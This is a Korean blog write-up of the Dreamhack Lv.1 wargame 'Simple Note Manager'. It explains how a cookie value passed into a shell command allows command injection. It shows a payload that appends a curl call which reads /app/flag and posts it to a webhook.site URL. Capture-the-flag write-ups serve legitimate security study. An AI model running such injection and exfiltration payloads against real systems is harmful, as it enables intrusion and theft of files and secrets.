Simple Note Manager

2026. 2. 15. 18:46·Dreamhack 워게임/Lv.1
반응형

문제설명

노트를 관리하는 간단한 웹 서비스입니다.

 

취약점을 찾고 익스플로잇 하여 플래그를 획득하세요!

 

플래그 형식은 DH{...} 입니다.


코드 분석

def backup_notes(timestamp):
    with lock:
        with open('./tmp/notes.tmp', 'w') as f:
            f.write(repr(notes))
        subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)
  • backup_notes를 정의하는 함수
  • ./tmp/notes.tmp 파일을 쓰기 모드로 열음
  • /tmp/{timestamp}로 복사 / shell 명령어 True
@app.route('/backup_notes', methods=['POST'])
def post_backup_notes():
    if len(notes) == 0:
        abort(404)
    backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
    if not isinstance(backup_timestamp, str):
        abort(400)
    backup_notes(backup_timestamp)
    return redirect(url_for('get_index'))
  • 노트 길이가 0이면 404 에러
  • backup_timestamp를 쿠키에서 가져옴. 없으면 현재시간을 가져옴
  • 그 timestamp로 backup_notes 함수 실행

취약점 분석

  • {timestamp} 를 사용자가 입력할 시 위험 
  • 셸 명령어를 허용해서 파일 유출 가능성 있음

익스플로잇

먼저 Cookie를 확인하기 위해 Backup_notes 요청을 가로채보자.

POST 요청에서 Cookie에 backup_timestamp가 찍힌 것을 확인할 수 있다.

&&curl https://webhook.site/73c800f7-6708-4a3f-a4eb-3282892f9cc4/ -d "$(cat /app/flag)"
  • timestamp에 && 해서 curl 명령어와 같이 작성해주면
subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/1771147219.8024352&&curl https://webhook.site/73c800f7-6708-4a3f-a4eb-3282892f9cc4/ -d "$(cat /app/flag)"', shell=True)
  • backup_notes 함수에 작성되었던 코드가 다음과 같이 실행되면서 flag 파일을 읽을 수 있게 된다.

웹훅 사이트에서 POST 요청을 온 것을 확인해주면?

 

 

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

Ctrl-C  (0) 2026.02.19
Pearfect Markdown  (0) 2026.02.15
Logical  (0) 2026.02.14
baby-ai  (0) 2026.02.14
what-is-my-ip  (0) 2026.02.14
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • Ctrl-C
  • Pearfect Markdown
  • Logical
  • baby-ai
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    CSRF
    alpacahack
    LLM
    webstudy
    JavaScript
    드림핵
    JS
    cve
    webhacking
    hacking
    web
    DreamHack
    xss
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
Simple Note Manager
상단으로

티스토리툴바